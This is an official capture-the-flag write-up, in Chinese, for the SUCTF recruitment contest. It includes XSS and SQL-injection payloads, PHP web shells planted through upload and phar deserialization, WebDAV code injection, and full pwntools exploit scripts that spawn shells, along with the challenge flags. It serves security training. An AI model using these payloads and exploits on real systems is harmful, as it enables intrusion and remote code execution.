SUCTF招新赛官方writeup

SUCTF招新赛官方wp

[TOC]

————

Web

这是个模版[web]

xss1

解法有多种。只要用");闭合前面,再注释掉后面就行了。
这里参考payload,用的jsfuck:

1
");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])();//

xss2

题目只允许输入!+[],想到jsfuck, eval(eval(input) + \’(1)\’) ,综合题意,只要可以使用eval(input)构造出’alert’字符串即可。

get到jsfuck的编码方式,就解开了本题。记录如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
以下内容基于
[] => []

然后!可以将原类型转化为布尔型
![] => false
!![] => true

+可以将原类型转化为整形
+[] => 0
+![] => 0
+!![] => 1
然后可以推出所有数字

然后+[]可以转化为字符串
[]+[] => ""
![]+[] => "false"
或放在前边
[]+![] => "false"
+[]+[] => "0"

加括号试试
([]+![]) => "false"
[[]+![]] => ["false"]
(+[]+[]) => "0"
[+[]+[]] => ["0"]

可以类似数组取下标
(![]+[])[+!![]] => 'a'

然后就可以从'false', 'true'中依次读出'a','l','e','r','t'。em...但是题目过滤了小括号。需要稍微绕一下,考虑使用中括号
[[]+![]] => ["false"]
[![]+[]][+[]] => "false"
[![]+[]][+[]][+!![]] => 'a'

成功

最后用加号拼出"alert"即可。

php is No.1

源码审计题,当有两个is_numeric判断并用and连接时,and后面的is_numeric可以绕过。

1
2
$test=false and true;
var_dump($test); //返回true

接下来又是个弱相等,我们随便传个字符就行了。而且在php7以下的版本

1
2
3
$time = 5e6
echo (int)$time;//输出的是5
var_dump($time < 60 * 60 * 24 * 30 * 1);//返回true

最后参考payload:

1
http://49.4.68.67:94/?time=5e6&num=a

baby-upload

第一层:抓包或直接修改前端代码绕过js校验文件后缀

第二层:图片mime类型绕过防护

第三层:文件后缀为phps绕过白名单防护

inclue-me

描述的很清楚,包含index.php

使用伪协议读取源码:php://filter/convert.base64-encode/resource=index.php

onepiece

打开题目后index.php里提示我用了phpstorm,去找.idea

在workspace.xml里面看到,后台有UpL0ad.php和README.html两个文件

README.html里面直接说了,我有一个onepiece.zip

下载onepiece.zip,解压后是我用在线的phpjm网站混淆过的php文件

去网上搜索相关的关键词就能找到在线解密的网站(https://tool.lu/php)

把php文件解密之后,这题就是一个简单的php代码审计(变量覆盖)

在UpL0ad.php里post时,直接post参数: file=flag 就得到flag回显了

where are you from level 1

Client-Ip头设置为127.0.0.1即可。

where are you from level 2

Client-Ip处的注入,过滤了空格和一些关键字,但是关键字只过滤了一次,因此可以双写绕过。最终getflag的payload:

1
Client-Ip: 12',(selselectect/**/fl4g/**/ffromrom/**/flaaag))#

flag:suctf{phar_s3rial1ze_f4nt4s71C}

读取图片的接口存在任意文件读取的漏洞,可以读取到网站源码。cookie中给出提示read recent papers about phar,最近phar有关的比较热门的就是phar反序列化,生成phar的脚本为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php

class PicManager{
private $current_dir;
private $whitelist=['jpg','png','gif'];
private $logfile='request.log';
private $actions=[];

public function __construct($dir){
$this->current_dir=$dir;
if(!is_dir($dir))@mkdir($dir);
}

private function _log($message){
array_push($this->actions,'['.date('y-m-d h:i:s',time()).']'.$message);
}

public function pics(){
log('list pics');
$pics=[];
foreach(scandir($dir) as $item){
if(in_array(substr($item,-4),$whitelist))
array_push($pics,$current_dir."/".$item);
}
return $pics;
}
public function upload_pic(){
_log('upload pic');
$file=$_FILES['file']['name'];
if(!in_array(substr($file,-4),$this->whitelist)){
_log('unsafe deal:upload filename '.$file);
return;
}
$newname=md5($file).substr($file,-4);
move_uploaded_file($_FILES['file']['tmp_name'],$current_dir.'/'.$newname);
}
public function get_pic($picname){
_log('get pic'.$picname);
if(!file_exists($picname))
return '';
else return file_get_contents($picname);
}
public function __destruct(){
$fp=fopen($this->current_dir.'/'.$this->logfile,"a+");
foreach($this->actions as $act){
fwrite($fp,$act."\n");
}
fclose($fp);
}

public function gen(){
@rmdir($this->current_dir);
$this->current_dir="/var/www/html/sandbox/1b5337d0c8ad813197b506146d8d503d/"; //md5($_SERVER['REMOTE_ADDR'])
$this->logfile='out.php';
$this->actions=['<?php eval($_REQUEST[p]);'];
@unlink('phar.phar');
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($this); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
//

}
}

$pic=new PicManager('/var/www/html/sandbox');
$pic->gen();

生成phar后重命名为图片文件,上传后访问

1
?act=get&file=phar:///上传后的图片路径

再访问生成的out.php即可获取flag

ClassicSqli

  • 用;%00截断末尾
  • /**/代替空格
  • regexp代替等号
    1
    payload="?user=\&pw=^0%26%26user/**/regexp/**/0x61646d696e%26%26pw/**/regexp/**/%22^{}%22;%00"

秘密云盘

这题就是超简单的任意文件读取,没有任何坑点,下载链接为 ?file=base64之后的文件名。
由readme.txt可知 flag在flag.php中。
因此payload为 ?file=ZmxhZy5waHA= 即可。

403readfile

  • 从http状态码和页面ip判断403异常是假的
  • 扫描后台文件发现robots.txt,得到flag.php和get.php。
  • 尝试get.php可确定思路为通过get.php读取flag.php。
  • get.php尝试里放了hint.txt,默认的链接里也有./1.txt,尝试1.txt发现回显正常即可猜测’./‘被过滤(这一步考虑难度其实是准备tips放源码,不过有大师傅真的做出来了。。tql。。。)
  • 接下来就可以尝试用’./‘截断被过滤../和flag关键字
  • 最终payload为 ?file=…//fl./ag.php

EASY_upload

  1. 抓包修改Content-Type为image/png
  2. 使用如下一句话

    1
    2
    3
    <script language="php">
    @system($_GET['c']);
    </script>
  3. 改后缀为phtml

最后getshell读flag
http://xxxxxxx/upload/shell.phtml?c=cat%20../flag.php

secure html

  • secure_html.php为每个用户创建session和对应的html文件,并用include进行了文件包含
  • 通过secure_html.php写入html文件时对PHP代码进行了简单粗暴的过滤,并关闭了对其他PHP格式的支持,难以绕过
  • 脑洞:本题nginx开启了webdav模块,支持用http方法中的PUT更新pages目录下的html文件
  • 用fiddler等代理工具构造PUT请求直接向html文件写入PHP代码,返回204状态码则表明写入成功
  • 再次访问secure_html.php,代码被执行,实现RCE
  • flag在根目录下

PUT消息体:

1
<? echo `cat /flag`;

Pwn

easy_overflow_file_structure

fsop的超简化版本,解析请求头字段的循环退出不当,可发送多个重复字段导致缓冲区溢出,覆盖相邻的fd结构中的flag成员为0xdeadbeef即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
# context.log_level = "debug"
# p = remote("127.0.0.1",20000)

researchfield = 0x602100
p = process("./eofs")
# gdb.attach(p)
padding = "a"*50 + p64(0xdeadbeef)
padding += (178-len(padding))*"a"
padding += p64(researchfield)

def genHeader(raw):
header = '''\
GET / HTTP/1.1#\
Host: 127.0.0.1:8000#\
Username: Doublemice#\
'''
if len(raw) < 50:
result = "#ResearchField:" + raw
else:
group = re.findall(r'.{50}',raw)
result = "#ResearchField:".join(group)
if len(raw)%50:
result += "#ResearchField:" + raw[len(raw)-len(raw)%50:]
header += result
header +="#"
return header

p.sendline(genHeader(padding))
p.interactive()

拓展阅读:

babyarray

简单的数组溢出,index=-14 value=0,就可以把a的值覆盖掉。
需要注意的是一个int型变量四字节,所以在整型数组中的一个偏移变量地址改变4,计算数组距离全局变量a的值再除4就得到了偏移值。
这是一道不需要exp的题目。

basic-pwn

简单的栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
>gdb 3.out
>disas callThisFun
Dump of assembler code for function _Z11callThisFunv:
0x00000000004005c7 <+0>: push %rbp
0x00000000004005c8 <+1>: mov %rsp,%rbp
0x00000000004005cb <+4>: sub $0x20,%rsp
0x00000000004005cf <+8>: lea 0x11e(%rip),%rax # 0x4006f4
0x00000000004005d6 <+15>: mov %rax,-0x20(%rbp)
0x00000000004005da <+19>: lea 0x11c(%rip),%rax # 0x4006fd
......
>q
>python -c 'print "A"*280 + "\xc7\x05\x40\x00\x00\x00\x00\x00" ' | ./3.out

stack

简单栈溢出,和上一题重复了23333

1
2
3
4
5
6
7
from pwn import *


io=process("./pwn")
payload='a'*0x28+p64(0x400676)
io.sendlineafter("============================\n",payload)
io.interactive()

int_overflow_pwn

整数溢出,分配小空间,但是可以拷贝更多的内容

1
2
3
4
unsigned int alloc_len = st->len + 0x20;   // 整数溢出
char *data = alloca(alloc_len);

read(0, data + sizeof(struct file) , st->len); // 栈溢出

具体看 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

context.log_level = "debug"

binary_path = "../dist/pwn"


# p = process(binary_path)
p = remote("172.17.0.2", 20000)
r = ROP(binary_path)
bin = ELF(binary_path)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
pop_rdi_ret = r.find_gadget(['pop rdi', 'ret']).address

info("pop_rdi_ret: {}".format(hex(pop_rdi_ret)))



p.recvuntil("welcome.....")

payload = p32(0x6e696b53)
payload += p32(0x1)
payload += p32(0xffffffff) # int overflow to alloc small size memory
p.send(payload)

# pause()

payload = cyclic(124)
payload += p64(pop_rdi_ret)
payload += p64(bin.got['puts'])
payload += p64(bin.plt['puts'])
payload += p64(bin.entry) # ret to main
p.send(payload)

p.recvline()

leak = u64(p.recv(6).ljust(8, "\x00"))
libc.address = leak - libc.symbols['puts']
info("libc.address: {}".format(hex(libc.address)))


payload = p32(0x6e696b53)
payload += p32(0x1)
payload += p32(0xffffffff)
p.send(payload)


payload = cyclic(124)
payload += p64(pop_rdi_ret)
payload += p64(libc.search("sh\x00").next())
payload += p64(libc.symbols['system'])
payload += p64(bin.entry) # ret to main
p.send(payload)


p.interactive()

EZ_heap

首先利用unsorted bin进行泄露,发现存在uaf,double free之后利用fastbin attack写malloc hook来get shell,这里直接贴下exp了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64")
ip =""
p = process("./pwn")
elf = ELF("./pwn")
#libc = ELF("./libc-2.23.so")
libc = elf.libc
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
def create(size,name,kind):
ru("Your choice : ")
sl("1")
ru("Length of the name :")
sl(str(size))
ru("The name of animal :")
sd(name)
ru("The kind of the animal :")
sl(kind)
def check():
ru("Your choice : ")
sl("2")
def remote(index):
ru("Your choice : ")
sl("3")
ru("Which animal do you want to remove from the cage:")
sl(str(index))
def clean():
ru("Your choice : ")
sl("4")
create(0x98,"a"*8,"1234")
create(0x68,"b"*8,"b"*8)
create(0x68,"b"*8,"b"*8)
create(0x20,"b"*8,"b"*8)
remote(0)
clean()
create(0x98,"c"*8,"c"*8)
check()
ru("c"*8)
leak = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak -0x58-0x10 -libc.symbols["__malloc_hook"]
print "leak----->"+hex(leak)
malloc_hook = libc_base +libc.symbols["__malloc_hook"]
print "malloc_hook----->"+hex(malloc_hook)
print "libc_base----->"+hex(libc_base)
one_gadget = 0xf02a4 + libc_base
remote(1)
remote(2)
remote(1)
#debug()
create(0x68,p64(malloc_hook-0x23),"b"*4)
create(0x68,"b"*8,"b"*8)
create(0x68,"b"*8,"b"*8)
create(0x68,"a"*0x13+p64(one_gadget),"b"*4)
remote(1)
remote(1)
getshell()

一道有点烦的unlink题,具体利用思路请看exp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#coding:utf-8
from pwn import *
from LibcSearcher import *
p = process('./pwn')
#p = remote('localhost',4448)
elf = ELF('./pwn')
ru = lambda x : p.recvuntil(x)
sl = lambda x : p.sendline(x)
sd = lambda x : p.send(x)
def debug():
gdb.attach(p,'')
raw_input()
def touch(sz):
ru("please chooice :")
sl("1")
ru("please input the size :")
sl(str(sz))
def delete(idx):
ru("please chooice :")
sl("2")
ru("which node do you want to delete")
sl(str(idx))
def show(idx):
ru("please chooice :")
sl("3")
ru("which node do you want to show")
sl(str(idx))
return ru("1. touch")
def take_note(idx,con):
ru("please chooice :")
sl("4")
ru("which one do you want modify :")
sl(str(idx))
ru("please input the content")
sd(con)
def exploit():
buf_addr = 0x00000000006020C0
touch(0x30) #0
touch(0x30) #1
touch(0x30) #2
touch(0x30) # construct fake chunk
touch(0x90) # free this chunk
touch(0x30) # avoid malloc_conslidate
# note_payload fake chunk

note_payload = p64(0) + p64(0x31) + p64(buf_addr)
note_payload += p64(buf_addr + 0x8)
note_payload += 'a' * 0x10
note_payload += p64(0x30)
note_payload += p64(0xa0) # bypass double free (!prev) this_chunk + size --> prev_inuse bit

take_note(3,note_payload)

delete(4)
take_note(3,p64(elf.got['__libc_start_main']))
leak_got = show(0).split('\n')[2]
leak_got = leak_got.ljust(8,'\x00')
leak_got = u64(leak_got)
success("leak_got == > "+hex(leak_got))
obj = LibcSearcher('__libc_start_main',leak_got)
libc_base = leak_got - obj.dump('__libc_start_main')
success("libc_base == > "+hex(libc_base))
system = libc_base + obj.dump("system")
success("system == > "+hex(system))
take_note(3,p64(elf.got['free'])) # modify index 0 point
take_note(2,"/bin/sh\x00")
take_note(0,p64(system))
delete(2)

p.interactive()
#debug()
if __name__ == "__main__":
exploit()

Rev

table

flag:SUCTF{1S_iT_SiMp1e?yeS}
这题前面有两个wrong那里是反调试,如果想动态调试的话需要patch掉
分两步变换
有一个table表为{ 3,7,4,2,5,6,1,9,8,10 };
第一次变换为7 第二次变换为9
动态调试发现中间值比了一个相等(这个字符串不能直接看出来)

str1 = ‘_SiST_1’
str2 = ‘’
table = [ 3,7,4,2,5,6,1,9,8,10]
table_r = [7,4,1,3,5,6,2,9,8,10]
for i in range(7):
  str2 += str1[table_r[i]-1]
str1 = ‘py1Me?iSe’
for i in range(9):
  str2 += str1[table_r[i]-1]
print(str2)

hash

flag:SUCTF{birthday_ro2k0}
题目提示是hash,看到bf772f6ed89838b9gb9f7abf3cc09413可以猜测应该是md5
md5算法的最明显的特征是初始化的四个数是不变的。
但是bf772f6ed89838b9gb9f7abf3cc09413这个数是经过一个变换,将偶数的地方异或了一个一。
最后的cf673f7ee88828c9fb8f6acf2cb08403 可查出为birthday
第二段为一个简单的线性变换
str1 = 'ut9t’
for i in range(len(str1)):
  a = chr(ord(str1[i])-2*i-1)
  print(a)`

re-register

flag: SUCTF{Flag_1cqeyoecnaqr739w}
src:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(){

char a[] = {'S'-1, 'U'-1, 'C'-1, 'T'-1, 'F'-1, '{'-1, 'F'-1, 'l'-1, 'a'-1, 'g'-1, '_'-1, '1'-1, 'c'-1, 'q'-1, 'e'-1, 'y'-1, 'o'-1, 'e'-1, 'c'-1, 'n'-1, 'a'-1, 'q'-1, 'r'-1, '7'-1, '3'-1, '9'-1, 'w'-1, '}'-1, 0};
int i = strlen(a);
int j = 0;
while (i--){
if (getchar()-1 !=a[j])(printf("wrong!"),exit(-1));
j++;
}
}

basic re

ida中可以看出输入的密钥只用到后16位 所以0~65535爆就行了。

Key:12345

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//src:
#include <iostream>
using namespace std;

int main() {
char c[180] = { 2,3,2,1,4,7,4,5,10,11,10,9,14,15,12,13,16,19,16,17,20,23,22,19,28,25,30,31,28,25,26,31,36,33,34,39,36,33,34,35,40,41,46,43,36,45,38,47,56,49,58,59,52,61,62,55,48,57,50,59,60,53,54,55,72,73,66,66,68,68,70,71,72,73,74,74,77,77,79,78,80,80,82,83,85,84,86,87,89,89,90,91,92,93,94,94,96,96,99,99,100,101,103,103,105,105,107,107,108,109,110,110,112,112,114,115,116,117,119,119,120,121,123,123,125,125,127,127,129,129,131,131,140,141,142,143,136,137,138,139,140,141,142,135,152,145,146,147,148,149,150,151,152,153,154,154,156,156,158,158,160,160,162,162,164,164,166,166,168,168,170,170,172,172,174,174,176,177,178,179,
};
char flag[31] = { 0 };
cout << "flag format: SUCTF{xxxxxxxxxxxxxxx}\n";
cout << "Please Input Key:";
unsigned int key;
cin >> key;
key %= 65536;

flag[30] = 8;
while (flag[30]) {
flag[30]--;
int i = 22;
while (i) {
i--;
flag[i] |= ((((c[flag[30] * 22 + i]) >> ((key >> (2 * flag[30])) & 0x03)) & 0x01) << flag[30]);
}
}
cout << flag;


system("pause");
return 0;
}

HelloPython

一道经过混淆的Python逆向,题目给出的是一个经过编译的字节码文件和一段密文,通过uncompyle6可以反编译出源码,源码通过onelinerizer混淆压缩为一行代码,需要先整理分析代码,然后写出解密算法。

经过整理分析后的代码,因为混淆方式是通过lambda函数和列表递推表达式实现的,先解析函数参数,所以代码整体上是倒序执行的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
(lambda __operator, __print, __g, __contextlib, __y:  # __operator=operator, __print=print, __g=globals(), __y用于构造循环
[
(lambda __mod: [
[
[
(lambda __items, __after, __sentinel: # __items=iter(p_text.split('_')), __after为加密函数, __sentinel=[]
__y(lambda __this: lambda: (lambda __i: [ # __i为当前循环到的__items
(
lambda __out: (
lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: __this())][2]
)(
__contextlib.nested(
type(
# 失败则退出程序
'except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and ([True for __out[0] in [((sys.exit(0), lambda after: after())[1])]][0])}
)(),
type(
# 尝试将 word以16进制转换为整形 存入 v
'try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((v.append(int(word, 16)), (lambda __after: __after()))[1])]][0]}
)()
)
)
# word = __i
)([None]) for __g['word'] in [(__i)]
# 循环__items
][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))()
)
(
# __items=iter(p_text.split('_'))
iter(p_text.split('_')), lambda: [
[
[
[
[
[
[
(
lambda __after: __y( # __after为后面参数中输出结果的lambda
lambda __this: lambda: ( # if n > 0 执行这部分代码,否则执行__after
lambda __target: [
(
lambda __target: [
(
lambda __target: [
# 循环调用__this(),效果等同于 while n > 0
# n -= 1
# z.value += ( y.value << 4 ) + k[2] ^ y.value + x.value ^ ( y.value >> 5 ) + k[3]
[__this() for __g['n'] in [(__operator.isub(__g['n'], 1))]][0] for __target.value in [(__operator.iadd(__target.value, ((((y.value << 4) + k[2]) ^ (y.value + x.value)) ^ ((y.value >> 5) + k[3]))))]
][0]
# __target.value += ( z.value << 4 ) + k[0] ^ z.value + x.value ^ ( z.value >> 5 ) + k[1]
)(z) for __target.value in [(__operator.iadd(__target.value, ((((z.value << 4) + k[0]) ^ (z.value + x.value)) ^ ((z.value >> 5) + k[1]))))]
][0]
# __target.value += u
)(y) for __target.value in [(__operator.iadd(__target.value, u))]
][0]
)(x) if (n > 0) else __after() # 见上文
)()
)(
# 将z.value和y.value分别赋值给w[0]和w[1], 然后输出结果
lambda: [[(__print(''.join(map(hex, w)).replace('0x', '').replace('L', '')), None)[1] for w[1] in [(z.value)]][0] for w[0] in [(y.value)]][0]
) for __g['w'] in [([0, 0])] # w = [0,0]
][0] for __g['n'] in [(32)] # n = 32
][0] for __g['u'] in [(2654435769)] # u = 0x9e3779b9
][0] for __g['x'] in [(c_uint32(0))] # x = c_uint32(0)
][0] for __g['z'] in [(c_uint32(v[1]))] # z = c_uint32(v[1])
][0] for __g['y'] in [(c_uint32(v[0]))] # y = c_uint32(v[0])
][0] for __g['k'] in [([3735928559, 590558003, 19088743, 4275878552])] # k = [0xdeadbeef, 0x23333333, 0x01234567, 0xfedcba98]
][0], []
) for __g['v'] in [([])] # v = []
][0] for __g['p_text'] in [(raw_input('plain text:\n> '))] # p_text = raw_input("plain text:\n> ")
][0] for __g['c_uint32'] in [(__mod.c_uint32)] # c_uint32 = ctypes.c_uint32
][0])
(__import__('ctypes', __g, __g, ('c_uint32',), 0)) for __g['sys'] in [(__import__('sys', __g, __g))] # from ctypes import c_uint32 import sys
][0]
)
(__import__('operator', level=0), __import__('__builtin__', level=0).__dict__['print'], globals(), __import__('contextlib', level=0), (lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))))

加密解密代码(TEA):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def encipher(v, k):
y = c_uint32(v[0])
z = c_uint32(v[1])
sum = c_uint32(0)
delta = 0x9e3779b9
n = 32
w = [0,0]

while(n>0):
sum.value += delta
y.value += ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1]
z.value += ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3]
n -= 1

w[0] = y.value
w[1] = z.value
return w

def decipher(v, k):
y = c_uint32(v[0])
z = c_uint32(v[1])
sum = c_uint32(0xc6ef3720)
delta = 0x9e3779b9
n = 32
w = [0,0]

while(n>0):
z.value -= ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3]
y.value -= ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1]
sum.value -= delta
n -= 1

w[0] = y.value
w[1] = z.value
return w

game

非常传统而基础的rev

MD5
题目一开始的时候给了一串奇怪的数字,如果逆向的话会发现这是一段md5(检查魔数可得),直接搜会发现是nuaa的数字,然后便可解开这段内容。
Tips:不是字符串的nuaa,而是其数字形式

迷宫
题目会用上一题的迷宫得到的数对程序中的404040位置进行解密,解密后会发现这是一个迷宫。并且UDLR分别表示四个方向,那么只要走出迷宫即可。此处走出迷宫的字符串为

1
RRRRRRRRRRUUUUUUUUUULLLLLLLU

程序中有一段逻辑会对输入进行翻译,当翻译结果如上的时候才能够通行。

相当于是将每个字节的两个bit作为UDLR的一个对应关系,解密后得到此时的输入为

1
170 170 165 85 85 255 253

最后的check
到这段之后,会发现程序会释放一个加密的程序并且跳转上去,检查后发现是一个简单的逻辑异或,最后得到答案:

1
Dr1v3r_Is_s0_m3ssy

dump

这个题目可以使用IDA来解,不过我试了一下效果并不好(可能本人IDA用的不熟练),不如直接用windbg来的快

1. 找到crash的原因
一个dmp的产生,必然意味着程序本身出现了问题。所以应该首先通过分析找到当前的问题所在。使用!analyze -v分析可以知道,当前程序发生了堆溢出:

检查当前的程序调用栈,可以看如下信息:

可以看到程序主体ForDumpPractice中调用了free。显然是这个free的内容出现了问题,于是我们直接跟踪到这段代码相关的地方:

这边我的windbg有一些符号没有解析,不过可以使用指令查看。这段的内容如果完整看下来,会发现是个如下的逻辑:

1
2
3
1. 申请一个堆,大小为4
2. 将参数传入到这个堆块中,但是长度为101
3. free当前堆

所以发生了堆溢出

2. 找到flag
既然分析了崩溃原因,那么我们看一下这个程序本身要做什么。继续分析dmp,会在最后找到一个prinf函数,并且可以看到里面的内容:

这里可以暗道,这个地方的字符串是一个输出flag的东西。逆推可得,此时[esp - 14h]+1中存放有flag。并且在这段逻辑中,可以发现有一个简单的对程序进行解密的内容。这里通过将这个程序还原,大致可以得到如下的逻辑

1
2
3
4
5
// [ebp- 1Dh]:i
for(i = 0; i < [[ebp - 14h]]; i ++){
[[ebp-14h]+1+i] = ([[ebp - 14h]] + i) ^ [[ebp-14h]+1+i]
}
// 大致猜测,ebp-14h可能是一个结构体

那么这个[ebp - 14h]中的数据怎么得到呢?回到程序开头,我们发现这个值是参数传入的,并且存放在了堆中。于是此时我们可以查看栈/堆,都能够翻到这个内容:
栈:

堆:

剩下的就是解密,得到答案为:

1
flag{Dmp_Is_Useful}

easy_vm_engine

简单的vm,可以用angr很轻松的跑出来,这里贴下加密解密算法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python
# encoding:utf-8
from __future__ import print_function
print("encode")
flag=list('SUCTF{e@sy_vmeng1ne}')
for i in range(20):
flag[i]=chr((ord(flag[i])-i)^i)
print(hex(ord(flag[i])))
print(''.join(flag))
print("decode")
for i in range(20):
flag[i]=chr((ord(flag[i])^i)+i)
print(hex(ord(flag[i])))
print(''.join(flag))

Misc

follow-me

使用wireshark分析数据包,过滤http发现是一个简单的web攻击流程,

首先爆破后台再进行弱口令爆破,正确的口令即为flag值,在倒数第二个数据包。

single-dog

使用foremost分离文件,发现存在文本文件,搜索aaencode解密即可得到flag。

stature

简单的png隐写,用hex编辑器将图片改高,0x175改高即可。

one image %3F

B通道有hint提示盲水印,R通道与G通道解盲水印,得到flag

hidden

非常传统而基础的misc

zip/docx
其实直接拖到Linux下就能够识别出是一个zip包,本身是一个word文档,于是直接在压缩包里面能够找到一半的flag:_Yeah!}

qrcode
发现flag只有一部分,于是继续观察文件,发现一个zip文件不可能这么大,于是用binwalk去查看,会发现里面有很多张图。将图都取出来会发现是一个二维码截图。将这些二维码拼接起来,扫出来是一个base64的字符串,解开之后会发现一大段内容,其中最后包含了另一半的flagSUCTF{File_Format

最后得到flag

1
SUCTF{File_Format_Yeah!}

佛家妙语

超级简单的几种编码与加密
与佛论禅——base46——base32——base16——base58

流量

流量包可导出upload.php,分离得出加密的压缩包。
压缩包内有flag0,1,2,3,且内容都为4或6字符,利用crc32校验的爆破得出flag内容。
主要坑点在flag0,写脚本爆破预计2小时……但得出flag123后可猜测flag0为flag头SUCTF{,用crc32验证一下也可确定。

人类的本质

题目思路比较明确,就是点2333次以上,也有师傅通过逆向的方法解。
由于按钮设定了不可设置为焦点,使用autoit直接给控件发送点击命令。
控件的定位可以用autoit window info

1
2
3
4
5
6
7
Run("本质3.exe");
WinWaitActive("人类的本质是什么");
$i=1
While $i<=2333
ControlClick("人类的本质是什么","","ThunderRT6CommandButton15");
$i=$i+1
WEnd